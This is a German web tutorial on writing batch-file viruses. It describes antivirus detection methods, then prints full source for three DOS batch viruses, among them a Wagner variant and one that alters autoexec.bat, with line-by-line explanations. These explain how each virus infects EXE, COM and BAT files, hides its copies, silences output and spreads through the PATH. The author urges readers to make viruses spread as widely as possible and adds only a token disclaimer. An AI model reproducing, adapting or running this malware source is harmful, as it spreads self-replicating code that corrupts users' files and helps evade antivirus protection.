Windows Hacks, Tricks, Tutorials und vieles mehr.
  Batch-Viren-Lehrbuch
 
     Teil I - Generelle Informationen
 
 
Da ich in meiner Anfangszeit als Virenprogrammierer viele Probleme
damit hatte an vernünftige Tutorials heranzukommen, entschloss ich
mich nun ein eigenes zu schreiben. Ich entschied mich dafür es in
Deutsch zu schreiben, da es nur sehr wenige in dieser
Sprache gibt. Wie natürlich klar ist, ist dieses Handbuch nur für
Lehrzwecke einzusetzen und ich übernehme natürlich keine Haftung,
wenn ihr damit irgendetwas kriminelles anstellt...
Die folgenden Informationen beziehen sich auf Viren im Allgemeinen:
 
Im Jahre 1981 traten die ersten Viren auf, die noch sehr einfach
gestrickt waren, und nicht sehr destruktiv waren. Mittlerweile haben
sich die Programmierer aber immer bessere Tricks ausgedacht,
um den fiesen Antivirenprogrammen zu entgehen.
 
Ein Virus ist eigentlich immer nach folgendem Schema aufgebaut:
 1.) Infectionsroutine, die für die Vermehrung sorgt
 2.) Aktivierung. Hier wird festgelegt, wann sich der Virus meldet
 3.) Handlung. Was soll er tun, HD löschen, Grüsse ausrichten ...?
 
Hier sollte ich vielleicht noch erwähnen, dass es nicht Ziel eines
Virus sein sollte, moeglichst viel zu zerstören, sondern sich möglichst
weit zu verbreiten !!!
 
Man unterscheidet folgende Virentypen:
 
 - Dateiviren
   Sie infizieren meistens COM oder EXE Dateien, seltener jedoch BAT
   Dateien. (Und genau das wollen wir ändern)
   Sie überschreiben Teile des Programms oder hängen sich
   an dessen Ende und werden bei jedem Programmstart aktiv und
   suchen dann nach weiteren Wirten.
 
 - Makroviren
   Makroviren nutzen die Makrosprache von Exel und Word und starten
   automatisch beim oeffnen einer infizierten Datei. Etwa 70% aller
   heutigen Viren sind Makroviren.
 
 - Hoax Viren
   Dies sind keine wirklichen Viren, aber Warnungen vor Phantasieviren,
   die alles mögliche zerstoeren koennen. Allerdings werden diese
   Nachrichten gerne weiterversand, um auch Freunde vor dem ach so
   boesen Virus zu waren und verbreiten sich teilweise recht stark.
 
 
Virenscanner suchen diese Viren nach 3 Methoden. Die erste Methode
besteht darin, dass eine gewisse Zeichenfolge gesucht wird, von
der man weiss, dass sie nur in dem Virus vorkommt. Eine weitere Methode
sucht nach Virenähnlichen Kommandofolgen, liefert aber oft
Fehlalaerme. Die letzte Methode besteht darin, von jeder Datei die
Dateilänge zu speichern und bei einer Überprüfung mit der aktuellen
Dateilänge zu vergleichen. Aber mitlerweise gibt es Viren,
die die Prüfdateien gleich mitverändern ...
 
 
 
 
      _                                _
     / ` | | / |/ _ |     _|_ /- / `
     '- || |_| < /-` |_ | | |- '-
     _/ | | | | | _, |_> | | _ _/
                              |
                                       _|
 
 
             Batch-Viren-Lehrbuch
 
      Teil II - Hier habt ihr eure 'Sources'
 
Ich habe mich entschlossen eine Beschreibung von Batch Viren
anzufertigen, da diese am leichtesten zu verstehen sind, und keine
uebermaesigen Programmierkentnisse erfordern. Batch Viren infizieren
*.BAT programme, und können mit einem einfachen Text-Editor geschrieben
werden.
 
Zuallererst ein recht einfacher Virus, der sogenanne Wagner Virus
der von Black Wolf 1993 in Virology 101 praesentiert wurde.
 
 
   @echo off
   ctty nul
   for %%f in (*.exe *.com) do set A=%%f
  if %A%==COMMAND.COM set A=
   rename %A% V%A%
   if not exist V%A% goto end
   attrib +h V%A%
   copy %0.bat %A%
   attrib +r %A%
   ren %A% *.bat
   set A=
   :end
   ctty con
   @if exist V%0.com V%0.com %1 %2 %3
   @if exist V%0.exe V%0.exe %1 %2 %3
 
Für alle totalen Neulinge gehe ich den Code nun Zeile für Zeile durch.
 
@echo off
Dieser Befehl bewirkt, dass die Befehle des Programmes beim ausführen
nicht angezeigt werden.
 
ctty nul
Hier werden alle Ausgaben ins Nichts geleitet. So das der 'Benutzer'
nicht sieht, dass Dateien kopiert wurden.
 
for %%f in (*.exe *.com) do set A=%%f
Hier werden alle EXE und COM Dateien und schreibt jede Datei in die
Variable A. Das bedeutet, dass am Ende die letzte, noch nicht
infizierte Datei in der Variable A gespeichert wird.
 
if %A%==COMMAND.COM set A=
Falls A die Datei Command.COM enthaelt, wird A Null gesetzt
 
rename %A% V%A%
Die gefundene Datei wird umbenannt in Vname
 
if not exist V%A% goto end
Sollte das Umbenennen schiefgegangen sein, wird zur Stelle :end
gesprungen und beendet
 
attrib +h V%A%
Die umbenannte Datei wird versteckt und somit nur durch Parameter
mit dem Befehl dir /a:h sichtbar, auserdem wird sie bei einer erneuten
Ausfuehrung des Programmes nicht noch einmal umbenannt.
 
copy %0.bat %A%
Der Virus (%0%) wird an die Stelle der COM Datei kopiert
attrib +r %A%
Nun wird die Datei vor dem Ueberschreiben geschuetzt
 
ren %A% *.bat
Nun noch eine Umbenennung in eine BAT Datei
 
set A=
Der Parameter A wird wieder geleert, um keine Spuren zu hinterlassen
 
:end
Hierher wird mit goto end gesprungen
 
ctty con
Die Ausgabe wird wieder auf den Bildschirm geleitet
 
@if exist V%0.com V%0.com %1 %2 %3
Falls die Ersetzte Datei eine COM Datei war, wird diese nun ausgeführt
 
@if exist V%0.exe V%0.exe %1 %2 %3
wie eben nur mit EXE Dateien
 
 
Dieser einfache Virus schnappt sich bei jedem Start eine EXE oder COM
Datei in seinem Verzeichnis und ersetzt sie durch eine Kopie von sich.
Danach wird die EXE/COM Datei wie gewohnt gestartet.
Ein anderer Virus, welcher BAT Dateien infiziert, soll hier auch noch
dargestellt werden. Er infiziert allerdings nur das Verzeichnis, in
dem er sich befindet, dort aber alle Dateien.
 
 
 
@echo off>nul.CaT
 if '%1=='Inf goto CaTi
 if exist c:!CaT.bat goto CaTs
 if not exist %0.bat goto CaTe
 find "CaT"<%0.bat>c:!CaT.bat
 find "CaT" c:autoexec.bat >nul
 if not errorlevel 1 goto CaTs
 echo.|date|find "30">nul.CaTs
 if errorlevel 1 goto CaTs
 echo echo CaT KillS YouR SysteM ... ;-> >>c:Autoexec.bat
 echo ctty nul >>c:autoexec.bat
:CaTs
 For %%a in (*.bat) do call c:!CaT Inf %%a
 goto CaTe
:CaTi
 find "CaT"<%2>nul
 if not errorlevel 1 goto CaTe
 type c:!CaT.bat>CaT.t
 echo echo CaT InFeCtEd YoUr SyStEm >>CaT.t
 type %2>>CaT.t
 move CaT.t %2>nul.CaT
 attrib c:!CaT.bat +h +r +a
:CaTe
 
 
 
Erklärung der einzelnen Zeilen:
 
@echo off>nul.CaT
Die Anzeige der Befehle wird ausgeschaltet und eine Rückmeldung wird
nach nul.CaT geleitet
 
if '%1=='Inf goto CaTi
Sollte der Parameter %1 Inf sein, wird nach CaTi gesprungen
 
if exist c:!CaT.bat goto CaTs
Wenn die Datei c:!CaT.bat existiert wied nach CaTs gesprungen
 
find "CaT"<%0.bat>c:!CaT.bat
Die eigene Datei soll auf die Zeichenkette CaT durchsuchtwerden, und alle
Zeilen, die diese Zeichen enthalten werden nach !CaT.bat geschrieben.
Dort wird also ein Abbild des Viruscodes erzeugt.
 
find "CaT" c:autoexec.bat >nul
if not errorlevel 1 goto CaTs
Falls CaT in der Datei Autoexec.bat enthalten ist nach CaTs springen.
 
echo.|date|find "30">nul
if errorlevel 1 goto ende
Am 30. jedes Monats wird der Code weiter ausgefuehrt ansonsten nach CaTs
gesprungen.
 
echo echo CaT KillS YouR SysteM ... ;-> >>c:Autoexec.bat
echo ctty nul >>c:autoexec.bat
Andernfalls die Zeilen
echo CaT KillS YouR SysteM ... ;->
ctty nul
der Autoexec.bat hinzufügen, was alle totalen Versager aus dem Rennen
schmeißt, aber keine wirkliche Zerstörung anrichtet.
 
:CaTs
For %%a in (*.bat) do call c:!CaT Inf %%a
goto CaTe
Die Bat Datei !CaT wird nun für jede andere Bat Datei im Verzeichnis
ausgeführt. Danach wird zu CaTe gesprungen.
 
:CaTi
find "CaT"<%2>nul
if not errorlevel 1 goto CaTe
Untersuchung ob die angegebene Datei bereits infiziert ist, falls
ja wird an das Codeende gesprungen.
 
type c:!CaT.bat>CaT.t
type %2>>CaT.t
move CaT.t %2>nul.CaT
attrib c:!CaT.bat +h +r +a
Hier wird die Datei !Cat.bat kopiert, die infizierte Datei ans Ende
gehängt und die Ursprungsdatei wieder ersetzt. Danach wird die Datei
!Cat.bat versteckt.
 
:CaTe
Ende des Codes.
 
 
Noch ein anderer Batch - Virus, der auch im Pfad Verzeichnis nach
Opfern sucht.
 
@echo off>nul.ViRuS
   rem ViRuS The BatchViRuS by Dirk van Deun 1994
   rem ViRuS May be copied freely (On your own machine !)
   rem ViRuS Programmed to prove that it's possible
   rem ViRuS (and to show off skill in writing batchfiles)
   rem ViRuS If you have no disk cache, you're not interested
   rem ViRuS E-mail hw41652@vub.ac.be
   
   rem ViRuS Known bug: interpretation of variables may make lines too long
   rem ViRuS for DOS and let characters drop off: unpredictable behaviour
   
   if "%0==" echo --------------------------------------->con.ViRuS
   if "%0==" echo |   Hi ! I am the nice BatchViRuS !   |
   if "%0==" echo --------------------------------------->con.ViRuS
   if "%0==" goto ViRuS_OLDBAT
   if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
   if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
   if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
   if "%VOFF%=="T goto ViRuS_OLDBAT
   
   set ViRuSname=%0
   if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
   if not exist %0.bat call xViRuSx
  if not exist %0.bat del xViRuSx.bat
   if not exist %ViRuSname%.bat set ViRuSname=
   if "%ViRuSname%==" goto ViRuS_OLDBAT
   
   rem ViRuS if batch is started with name.BAT, virus will not become active
   rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
   rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
   rem ViRuS or if environment is too small to contain %ViRuSname% !
   
   if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
   rem (if environment cannot hold VPATH, ViRuS will function partially)
   command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
   call xViRuSx
   del xViRuSx.bat
   if "%VPATH%==" set VPATH=.>nul.ViRuS
   set ViRuSname=
   goto ViRuS_OLDBAT
   
   :ViRuS_findself
   if "%2==" echo.>xViRuSx.bat
   if "%2==" exit>nul.ViRuS
   if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
   if exist %2%ViRuSname%.bat exit
   if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
   if exist %2%ViRuSname%.bat exit
   shift>nul.ViRuS
   goto ViRuS_findself
   
   :ViRuS_parsepath
   for %%a in (%2*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
   for %%a in (%2*.bat;%2*.bat) do goto ViRuS_new_vpath
   shift>nul.ViRuS
   if not "%2==" goto ViRuS_parsepath
   if not "%1==". for %%a in (.*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
   :ViRuS_new_vpath
   set VPATH=%3>nul.ViRuS
   :ViRuS_loop
   shift>nul.ViRuS
   if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
   if "%3==" exit>nul.ViRuS
   set VPATH=%VPATH%;%3>nul.ViRuS
   goto ViRuS_loop
   
   :ViRuS_multiply
   echo Checking: %2>con.ViRuS
   find "SeT IchBin=%%0" <%2>xViRuSx.bat
   call xViRuSx
   del xViRuSx.bat
   if "%IchBin%=="xViRuSx exit
   find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
   type %2>>xViRuSx.bat
   copy xViRuSx.bat %2>nul
   del xViRuSx.bat
   echo Infecting: %2>con.ViRuS
   exit>nul.ViRuS
   
   rem data for the first find in ViRuS_multiply
   SeT IchBin=%0>nul.ViRuS
   
   :ViRuS_OLDBAT
   echo on>nul.ViRuS
   echo This is the dummy original batch
 
 
Das sollte an Batch-Viren reichen um die Grundkentnisse des Batch Viren Programmierens zu
verstehen. Es gibt zwar noch kompliziertere Batch Viren, die COM Dateien per Maschienencode
erzeugen und diese ausführen, oder ANSI Bomben enthalten aber diese sind meiner Ansicht nach
keine wirklichen Batch Viren mehr, sondern gehören eher in andere Tutorials.
Sollten noch Fragen zu dem Thema aufkommen, einfach noch ein paar andere Guides to XXXXX
downloaden oder einfach in eine Newsgroup posten.
 
  Alle Tutorials die sich auf dieser Seite befinden sin Copyright.  
 
Diese Webseite wurde kostenlos mit Homepage-Baukasten.de erstellt. Willst du auch eine eigene Webseite?
Gratis anmelden